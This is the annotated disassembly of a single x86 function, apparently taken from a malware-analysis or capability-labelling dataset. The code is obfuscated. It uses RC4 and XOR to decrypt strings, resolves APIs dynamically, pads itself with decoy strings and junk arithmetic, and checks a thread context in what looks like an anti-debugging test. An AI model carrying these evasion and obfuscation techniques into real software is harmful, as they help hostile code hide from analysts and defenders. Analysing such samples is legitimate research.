Function at 0x10009eb5
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3a8
push ebx
mov ecx, 0x86
mov dword [ebp - 0xa8], 0x406
push esi
xor ebx, ebx
mov dword [ebp - 0xa4], 0xc97
push edi
mov eax, ebx
mov dword [ebp - 0xa0], 0x1bd7
mov dword [ebp - 0x9c], 0x183c
mov dword [ebp - 0x98], 0x1c90
mov dword [ebp - 0x94], 0x1f79
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x88], 0x160e
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0x80], 0x872
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x74], 0x2537
mov dword [ebp - 0x70], 0xbb7
cmp eax, 6
je 0x10009f48
inc eax
cmp eax, 0xf
jl 0x10009f3d
mov eax, dword [ebp + eax*4 - 0xa8]
lea edi, [ebp - 0xd4]
mov esi, str.trentinostirol
mov dword [ebp - 0x30], 0x98cef256
xor eax, 0x87
mov dword [ebp - 0x2c], 0xcc51be13
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x28], 0x1ad6a1d4
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x24], 0xd9fb3585
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [0x1003f5fc]
mov edx, esi
mov dword [ebp - 0xc], esi
lea ecx, [esi + 0x744a9179]
mov dword [ebp - 8], ecx
mov ecx, str.CreateProcessAtIntegrity___failed
call fcn.10005a42
mov edx, dword [ebp - 8]
mov edi, ebx
add esi, 0x50a63d6c
mov ecx, edx
call fcn.100060b5
inc edi
mov edx, esi
cmp word [edi*2 + str.DuplicateTokenEx], bx
jne 0x10009fad
mov dword [ebp - 8], edx
cmp edi, 0x1783
jne 0x10009fd7
and edx, 0xaf3af56d
mov dword [ebp - 8], edx
jmp 0x10009fe1
mov eax, esi
and eax, 0x7de0b7c1
mov dword [ebp - 0xc], eax
push 5
pop ecx
mov esi, 0x10034248
lea edi, [ebp - 0xc0]
rep movsd dword es:[edi], dword [esi]
mov cl, byte [str.toysrus.com]
mov eax, ebx
movsw word es:[edi], word [esi]
cmp cl, byte [ebp - 0xc0]
jne 0x1000a05b
test cl, cl
je 0x1000a020
cmp byte [ebp + eax - 0xc0], bl
je 0x1000a020
mov cl, byte [eax + 0x1003f621]
inc eax
cmp cl, byte [ebp + eax - 0xc0]
je 0x1000a003
mov edi, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
cmp edi, eax
jae 0x1000a05b
mov ebx, dword [ebp - 0xc]
mov esi, eax
cmp edi, 0x3b4
jne 0x1000a03d
and ebx, 0xcb9e6c08
push str.passwordextract_skipfindsf
add ebx, 0x3e46ccae
call fcn.10005e5f
mov edx, dword [ebp - 8]
inc edi
pop ecx
cmp edi, esi
jb 0x1000a02f
mov dword [ebp - 0xc], ebx
xor ebx, ebx
mov ecx, dword [ebp - 8]
mov edi, ebx
mov eax, dword [ebp - 0xc]
mov edx, ebx
xor ecx, 0x20e3db9
add ecx, 0x589bb649
mov byte [ebp + edx - 0x1dc], dl
xor eax, 0x3128b6c3
inc edx
cmp edx, 0x100
jb 0x1000a06b
mov dword [ebp - 8], ecx
mov esi, ebx
mov dword [ebp - 0xc], eax
xor edx, edx
mov bl, byte [ebp + esi - 0x1dc]
push 0xe
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0xd4]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x1dc]
mov byte [ebp + esi - 0x1dc], al
inc esi
mov byte [ebp + edi - 0x1dc], bl
cmp esi, 0x100
jb 0x1000a08e
mov edx, dword [ebp - 8]
lea edi, [ebp - 0xcc]
mov esi, str.settings
xor ebx, ebx
mov ecx, ebx
mov dword [ebp - 0x10], ebx
mov eax, ebx
mov dword [ebp - 4], ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, dword [ebp - 0x1c]
inc eax
movzx eax, al
mov dword [ebp - 0x14], eax
mov al, byte [ebp + eax - 0x1dc]
movzx esi, al
mov byte [ebp - 0x1d], al
mov eax, dword [ebp - 0x10]
add eax, esi
mov dword [ebp - 0x18], esi
movzx esi, al
mov al, byte [0x1003f650]
mov dword [ebp - 0x10], esi
mov esi, ebx
cmp al, byte [ebp - 0xcc]
jne 0x1000a17f
test al, al
je 0x1000a142
cmp byte [ebp + esi - 0xcc], 0
je 0x1000a142
call fcn.10005f0c
mov al, byte [esi + 0x1003f651]
inc esi
cmp al, byte [ebp + esi - 0xcc]
je 0x1000a11f
cmp edi, esi
jae 0x1000a179
mov ebx, dword [ebp - 0xc]
call fcn.100055a2
cmp edi, 0x2683
jne 0x1000a164
mov ebx, dword [ebp - 8]
xor ebx, 0x58f45537
call fcn.10005731
inc edi
lea edx, [ebx + 0x3b6889fd]
mov dword [ebp - 8], edx
cmp edi, esi
jb 0x1000a149
mov dword [ebp - 0xc], ebx
xor ebx, ebx
jmp 0x1000a17c
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
xor edx, 0x32289f42
mov esi, dword [ebp - 0x14]
add dword [ebp - 0xc], 0x29c77b6c
mov dword [ebp - 8], edx
mov al, byte [ebp + eax - 0x1dc]
mov dl, byte [ebp - 0x1d]
mov byte [ebp + esi - 0x1dc], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x1dc], dl
movzx eax, byte [ebp + esi - 0x1dc]
add eax, dword [ebp - 0x18]
mov edx, dword [ebp - 8]
movzx eax, al
mov al, byte [ebp + eax - 0x1dc]
xor al, byte [ebp + ecx - 0x30]
mov byte [ebp + ecx - 0xbc], al
inc ecx
mov dword [ebp - 4], ecx
mov eax, esi
cmp ecx, 0x10
jb 0x1000a0ee
push 6
pop ecx
mov esi, str.2272c2r22
mov byte [ebp - 0xac], bl
lea edi, [ebp - 0x38]
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
push 0x44
pop ecx
mov dword [ebp - 4], eax
cmp cx, word [ebp - 0x38]
jne 0x1000a233
mov edx, ecx
mov ecx, ebx
test dx, dx
je 0x1000a230
cmp word [ebp + ecx - 0x38], bx
je 0x1000a230
call fcn.10004c19
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
lea ecx, [eax + eax]
movzx edx, word [ecx + str.DuplicateTokenEx]
cmp dx, word [ebp + ecx - 0x38]
je 0x1000a207
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 4]
movzx eax, byte [ebp + eax*2 - 0x38]
movzx ecx, byte [ecx*2 + str.DuplicateTokenEx]
sub ecx, eax
cmp ecx, 0x12bb
jne 0x1000a25b
mov esi, dword [ebp - 0xc]
imul edx, edx, 0xe40cb58
mov dword [ebp - 8], edx
jmp 0x1000a266
lea esi, [edx + 0xfaab064]
call fcn.1000688c
mov eax, 0x97
mov dword [ebp - 0x30], 0x114c
or esi, 0xd1afbd7c
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], eax
mov eax, ebx
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x28], 0x1bd7
mov dword [ebp - 0x24], 0x1873
test eax, eax
je 0x1000a29b
inc eax
cmp eax, 5
jl 0x1000a291
mov eax, dword [ebp + eax*4 - 0x34]
lea edi, [ebp - 0xdc]
push 6
pop ecx
mov esi, str.No_such_device_or_address
mov dword [ebp - 0x30], 0xbe7f60ac
rep movsd dword es:[edi], dword [esi]
xor eax, 0x96
mov dword [ebp - 0x2c], 0x5112b66b
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x28], 0x234b4b8
mov dword [ebp - 0x24], 0xaf8c1320
movsw word es:[edi], word [esi]
call fcn.10005f0c
push 7
pop ecx
mov esi, str.unsupported_logical_function
mov dword [ebp - 0x14], ebx
lea edi, [ebp - 0x68]
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp byte [ebp - 0x68], 0x44
jne 0x1000a310
mov cl, 0x44
test cl, cl
je 0x1000a30d
cmp byte [ebp + eax - 0x68], 0
je 0x1000a30d
mov cl, byte [eax + 0x10035091]
inc eax
cmp cl, byte [ebp + eax - 0x68]
je 0x1000a2f5
mov dword [ebp - 0x14], eax
call fcn.100061c8
mov ecx, dword [ebp - 0x14]
movzx eax, byte [ebp + ecx - 0x68]
movzx ecx, byte [ecx + str.DCT_coefficient_out_of_range]
sub ecx, eax
cmp ecx, 0x1607
jbe 0x1000a34c
mov ecx, dword [ebp - 8]
mov edx, str.passwordextract_skipfindsf
push ecx
imul esi, ecx, 0x8676d8ca
push ecx
mov ecx, str.toysrus.com
call fcn.10005b87
pop ecx
pop ecx
jmp 0x1000a34f
mov esi, dword [ebp - 0xc]
mov dword [ebp - 0x14], ebx
mov eax, ebx
mov byte [ebp + eax - 0x1dc], al
inc eax
cmp eax, 0x100
jb 0x1000a354
mov edi, ebx
xor edx, edx
mov bl, byte [ebp + edi - 0x1dc]
push 0x19
mov eax, edi
add esi, 0x1efeba82
pop ecx
div ecx
movzx ecx, bl
mov dword [0x1003f5fc], esi
movzx eax, byte [ebp + edx - 0xdc]
add eax, dword [ebp - 0x14]
add ecx, eax
mov eax, esi
movzx ecx, cl
or eax, 0xd65c4ced
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov al, byte [ebp + ecx - 0x1dc]
mov byte [ebp + edi - 0x1dc], al
inc edi
mov byte [ebp + ecx - 0x1dc], bl
cmp edi, 0x100
jb 0x1000a365
xor ebx, ebx
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x40], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x18], ebx
call fcn.100060d9
push 0xb
pop ecx
mov esi, str.Could_not_extract_wlandecrypt_install_to__s
mov dword [ebp - 0x14], ebx
lea edi, [ebp - 0x98]
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
mov cl, byte [str.toysrus.com]
cmp cl, byte [ebp - 0x98]
jne 0x1000a415
test cl, cl
je 0x1000a412
cmp byte [ebp + eax - 0x98], bl
je 0x1000a412
mov cl, byte [eax + 0x1003f621]
inc eax
cmp cl, byte [ebp + eax - 0x98]
je 0x1000a3f5
mov dword [ebp - 0x14], eax
mov esi, dword [ebp - 0x10]
mov ecx, str.passwordextract_skipfindsf
push esi
call fcn.10006a9d
pop ecx
mov ecx, dword [ebp - 0x14]
cmp dword [ebp - 0x44], ecx
jae 0x1000a43e
mov eax, esi
mov dword [ebp - 0x44], ecx
or eax, 0xe6095ec8
mov dword [ebp - 0xc], eax
mov dword [0x1003f5fc], eax
push 7
pop ecx
mov esi, str.2F2W22a2k2y2
mov dword [ebp - 4], ebx
lea edi, [ebp - 0x68]
rep movsd dword es:[edi], dword [esi]
push 0x43
pop eax
movsw word es:[edi], word [esi]
cmp ax, word [ebp - 0x68]
jne 0x1000a486
mov ecx, eax
mov eax, ebx
test cx, cx
je 0x1000a486
cmp word [ebp + eax - 0x68], bx
je 0x1000a486
call fcn.10004790
mov edx, dword [ebp - 4]
inc edx
mov dword [ebp - 4], edx
lea eax, [edx + edx]
movzx ecx, word [eax + str.CreateProcessAtIntegrity___failed]
cmp cx, word [ebp + eax - 0x68]
je 0x1000a45d
mov esi, dword [ebp - 0x10]
mov ecx, str.CreateProcessAtIntegrity___failed
mov edx, esi
call fcn.10005a42
mov ecx, dword [ebp - 4]
movzx eax, byte [ebp + ecx*2 - 0x68]
movzx ecx, byte [ecx*2 + str.CreateProcessAtIntegrity___failed]
sub ecx, eax
cmp ecx, 0x334
jne 0x1000a4c6
mov edx, 0x1003f788
mov ecx, str.DuplicateTokenEx
call fcn.1000549c
or esi, 0x2dae5355
jmp 0x1000a4d8
mov esi, dword [ebp - 0xc]
mov edx, esi
mov ecx, esi
call fcn.10006512
or esi, 0x9ef44aec
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 0x10], esi
mov dword [0x1003f6d4], esi
movzx esi, al
mov eax, dword [ebp - 0x40]
mov dword [ebp - 8], esi
mov cl, byte [ebp + esi - 0x1dc]
movzx edx, cl
add eax, edx
movzx edi, al
mov dword [ebp - 0x40], edi
mov al, byte [ebp + edi - 0x1dc]
mov byte [ebp + esi - 0x1dc], al
mov byte [ebp + edi - 0x1dc], cl
movzx eax, byte [ebp + esi - 0x1dc]
mov ecx, dword [ebp - 0x18]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1dc]
xor al, byte [ebp + ecx - 0x30]
mov byte [ebp + ecx - 0xd4], al
inc ecx
mov dword [ebp - 0x18], ecx
cmp ecx, 0x10
jb 0x1000a3cd
mov byte [ebp - 0xc4], bl
mov eax, ebx
mov dword [ebp - 0x9c], 0x260
mov dword [ebp - 0x98], 0x70
mov dword [ebp - 0x94], 0x2271
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x8c], 0x1099
mov dword [ebp - 0x88], 0x33d
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], 0x1f00
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x70], 0x1063
cmp eax, 0xa
je 0x1000a5ac
inc eax
cmp eax, 0xc
jl 0x1000a5a1
mov eax, dword [ebp + eax*4 - 0x9c]
lea edx, [ebp - 0xbc]
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x40], eax
call fcn.10018ca7
call eax
mov edx, dword [0x1003f5fc]
lea edi, [ebp - 0x3c]
push 7
pop ecx
mov esi, str.GdipGetHatchForegroundColor
mov dword [ebp - 0x44], eax
rep movsd dword es:[edi], dword [esi]
mov cl, byte [str.toysrus.com]
and edx, 0x2144aa9e
mov eax, ebx
mov dword [ebp - 0x48], edx
mov dword [0x1003f5fc], edx
mov dword [ebp - 0x18], ebx
cmp cl, byte [ebp - 0x3c]
jne 0x1000a615
test cl, cl
je 0x1000a612
cmp byte [ebp + eax - 0x3c], bl
je 0x1000a612
mov cl, byte [eax + 0x1003f621]
inc eax
cmp cl, byte [ebp + eax - 0x3c]
je 0x1000a5fb
mov dword [ebp - 0x18], eax
mov edx, str.toysrus.com
mov ecx, str.DuplicateTokenEx
call fcn.1000549c
mov esi, dword [ebp - 0x18]
mov edi, dword [0x1003f6d4]
cmp dword [ebp - 4], esi
jae 0x1000a677
mov ebx, dword [ebp - 0x48]
call fcn.100061c8
cmp dword [ebp - 4], 0x1acf
jne 0x1000a649
lea edi, [ebx - 0x7b5cf833]
mov ebx, edi
mov edx, str.DuplicateTokenEx
or ebx, 0xa16d27f5
mov ecx, 0x1003f650
push ebx
push ebx
call fcn.10005b87
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
pop ecx
pop ecx
cmp eax, esi
jb 0x1000a635
mov dword [0x1003f5fc], ebx
xor ebx, ebx
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x3a8]
push eax
push dword [ebp - 0x44]
or edi, 0x6c5f0ce4
mov dword [ebp - 0x3a8], 0x10010
lea edx, [ebp - 0xd4]
mov dword [0x1003f6d4], edi
call fcn.10018ca7
call eax
test eax, eax
je 0x1000abe7
mov eax, ebx
mov dword [ebp - 0x9c], 0x45a
mov dword [ebp - 0x98], 0x1fa
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], 0x1383
mov dword [ebp - 0x8c], 0x218c
mov dword [ebp - 0x88], 0xa8f
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x80], 0x422
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], 0x2024
mov dword [ebp - 0x74], 0xf20
mov dword [ebp - 0x70], ebx
cmp eax, 0xb
je 0x1000a715
inc eax
cmp eax, 0xc
jl 0x1000a70a
mov eax, dword [ebp + eax*4 - 0x9c]
mov dword [ebp - 0x1c], eax
mov eax, ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x68], 0xd22
mov dword [ebp - 0x64], 0x5ee
mov dword [ebp - 0x60], 0xb87
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], 0x16db
mov dword [ebp - 0x50], 0x5a6
mov dword [ebp - 0x4c], 0x73f
test eax, eax
je 0x1000a75e
inc eax
cmp eax, 9
jl 0x1000a754
mov eax, dword [ebp + eax*4 - 0x6c]
mov dword [ebp - 0x48], eax
mov eax, ebx
mov dword [ebp - 0xa8], 0xe1d
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa0], 0x33f
mov dword [ebp - 0x9c], 0x138
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], 0x9b3
mov dword [ebp - 0x8c], ebx
mov dword [ebp - 0x88], 0x1425
mov dword [ebp - 0x84], 0x1398
mov dword [ebp - 0x80], 0x13fe
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], 0x753
mov dword [ebp - 0x74], 0x1f5a
mov dword [ebp - 0x70], 0x90c
cmp eax, 1
je 0x1000a7e5
inc eax
cmp eax, 0xf
jl 0x1000a7da
mov eax, dword [ebp + eax*4 - 0xa8]
mov ecx, 0xa2
mov dword [ebp - 0x44], eax
mov eax, ebx
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x68], 0x264
mov dword [ebp - 0x64], 0x76d
mov dword [ebp - 0x60], 0xac5
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x54], 0x23f4
mov dword [ebp - 0x50], 0x1014
mov dword [ebp - 0x4c], ecx
cmp eax, 8
je 0x1000a830
inc eax
cmp eax, 9
jl 0x1000a825
mov eax, dword [ebp + eax*4 - 0x6c]
mov edx, dword [0x1003f5fc]
xor eax, ecx
mov dword [ebp - 0x40], eax
mov ecx, edx
mov eax, 0xb8
mov dword [ebp - 0x9c], 0x146f
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x98], 0x1eef
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x90], 0x8cd
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], 0x657
mov dword [ebp - 0x84], 0x1c26
mov dword [ebp - 0x80], 0x2360
mov dword [ebp - 0x7c], 0x9d4
mov dword [ebp - 0x78], 0x233e
mov dword [ebp - 0x74], 0x191b
mov dword [ebp - 0x70], 0x4cb
call fcn.10006512
mov cl, byte [str.toysrus.com]
lea edi, [ebp - 0xbc]
mov esi, str.ShutterSpeedValue
mov eax, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
cmp cl, byte [ebp - 0xbc]
jmp 0x1000a8f7
test cl, cl
je 0x1000a8fc
cmp byte [ebp + eax - 0xbc], 0
je 0x1000a8fc
call fcn.100063aa
mov eax, dword [ebp - 4]
inc eax
mov cl, byte [eax + str.toysrus.com]
cmp cl, byte [ebp + eax - 0xbc]
mov dword [ebp - 4], eax
je 0x1000a8d3
call fcn.10004f29
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
mov esi, dword [0x1003f6d4]
cmp eax, edi
jae 0x1000a948
cmp eax, 0x1241
jne 0x1000a92c
sub esi, 0x3deb1243
mov ecx, 0x1003f650
push esi
mov edx, esi
call fcn.100051fe
pop ecx
add esi, 0x18059132
push esi
mov dword [0x1003f6d4], esi
call fcn.1000667f
mov eax, dword [ebp - 0x18]
inc eax
pop ecx
mov dword [ebp - 0x18], eax
jmp 0x1000a90d
mov dword [ebp - 0x10], esi
mov eax, ebx
cmp eax, 5
je 0x1000a958
inc eax
cmp eax, 0xd
jl 0x1000a94d
mov eax, dword [ebp + eax*4 - 0xa0]
mov edx, dword [0x1003f5fc]
xor eax, 0xb8
mov dword [ebp - 0x14], eax
mov eax, 0xe2
push str.CreateProcessAtIntegrity___failed
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], 0xb66
mov dword [ebp - 0x64], 0x1369
mov dword [ebp - 0x60], 0xecf
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], 0x10f4
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], 0x14
mov dword [ebp - 0x4c], 0x1ab1
call fcn.10005e5f
mov esi, str.hideiecmdbutton
lea edi, [ebp - 0x30]
mov eax, ebx
pop ecx
mov dword [ebp - 4], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp byte [ebp - 0x30], 0x44
jne 0x1000a9ed
push 0x44
pop ecx
test cl, cl
je 0x1000a9ed
cmp byte [ebp + eax - 0x30], 0
je 0x1000a9ed
call fcn.10004f29
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
mov cl, byte [eax + str.DCT_coefficient_out_of_range]
cmp cl, byte [ebp + eax - 0x30]
je 0x1000a9ca
push dword [0x1003f5fc]
mov ecx, str.CreateProcessAtIntegrity___failed
call fcn.10006a9d
mov edi, dword [ebp - 4]
mov esi, dword [ebp - 0x10]
pop ecx
cmp dword [ebp - 0x1c], edi
jae 0x1000aa36
mov ebx, dword [ebp - 0x1c]
call fcn.10005731
cmp ebx, 0x1bf0
jne 0x1000aa23
imul esi, dword [0x1003f5fc], 0x4aee2ddc
and esi, 0x36df50f2
inc ebx
cmp ebx, edi
jb 0x1000aa0c
mov dword [0x1003f6d4], esi
xor ebx, ebx
mov eax, ebx
test eax, eax
je 0x1000aa42
inc eax
cmp eax, 9
jl 0x1000aa38
mov eax, dword [ebp + eax*4 - 0x6c]
xor eax, 0xe2
mov dword [ebp - 0x10], eax
call fcn.100063aa
mov edi, ebx
mov edx, 0x1003f650
mov ecx, str.passwordextract_skipfindsf
call fcn.1000549c
inc edi
cmp word [edi*2 + str.passwordextract_skipfindsf], bx
jne 0x1000aa55
mov dword [ebp - 0x18], edi
mov edi, dword [ebp - 0x1c]
jmp 0x1000aaa5
cmp edi, 0x23d0
jne 0x1000aa8b
add esi, 0x8f23577
mov dword [0x1003f6d4], esi
lea eax, [esi + 0x54602d7f]
mov edx, str.passwordextract_skipfindsf
push eax
push esi
mov ecx, str.toysrus.com
call fcn.10005b87
pop ecx
pop ecx
inc edi
cmp edi, dword [ebp - 0x18]
jb 0x1000aa77
push esi
mov ecx, str.passwordextract_skipfindsf
call fcn.10006a9d
mov eax, esi
mov edi, ebx
and eax, 0xec79802c
pop ecx
mov dword [ebp - 4], eax
mov dword [0x1003f5fc], eax
inc edi
cmp word [edi*2 + str.passwordextract_skipfindsf], bx
jne 0x1000aac7
call fcn.100060d9
cmp dword [ebp - 0x1c], edi
jae 0x1000ab13
and dword [ebp - 4], 0xaa8cf420
sub edi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 4]
push esi
mov ecx, str.DuplicateTokenEx
call fcn.10006a9d
pop ecx
mov edx, 0x1003f650
mov ecx, str.DuplicateTokenEx
mov esi, ebx
call fcn.1000549c
sub edi, 1
jne 0x1000aae9
mov dword [0x1003f6d4], esi
xor ebx, ebx
mov eax, 0xa6
mov dword [ebp - 0xc0], 0x2551
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0xac], eax
mov eax, ebx
mov dword [ebp - 0xb8], 0x19e
mov dword [ebp - 0xb4], 0x295
mov dword [ebp - 0xb0], 0x1f73
cmp eax, 5
je 0x1000ab59
inc eax
cmp eax, 6
jl 0x1000ab4e
mov eax, dword [ebp + eax*4 - 0xc0]
xor eax, 0xa7
mov dword [ebp - 0x6c], 0x92d
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x64], 0x17a
mov dword [ebp - 0x60], 0x1588
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], 0x169c
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], 0x335
cmp ebx, 1
je 0x1000ab9f
inc ebx
cmp ebx, 9
jl 0x1000ab94
mov ecx, dword [ebp - 0x1c]
cmp dword [ebp - 0x3a4], ecx
jne 0x1000abea
mov ecx, dword [ebp - 0x48]
cmp dword [ebp - 0x3a0], ecx
jne 0x1000abea
mov ecx, dword [ebp - 0x44]
cmp dword [ebp - 0x39c], ecx
jne 0x1000abea
mov ecx, dword [ebp - 0x40]
cmp dword [ebp - 0x398], ecx
jne 0x1000abea
mov ecx, dword [ebp - 0x14]
cmp dword [ebp - 0x394], ecx
jne 0x1000abea
mov ecx, dword [ebp - 0x10]
cmp dword [ebp - 0x390], ecx
jne 0x1000abea
mov eax, dword [ebp + ebx*4 - 0x6c]
jmp 0x1000abea
mov eax, dword [ebp - 0x40]
pop edi
pop esi
pop ebx
leave
ret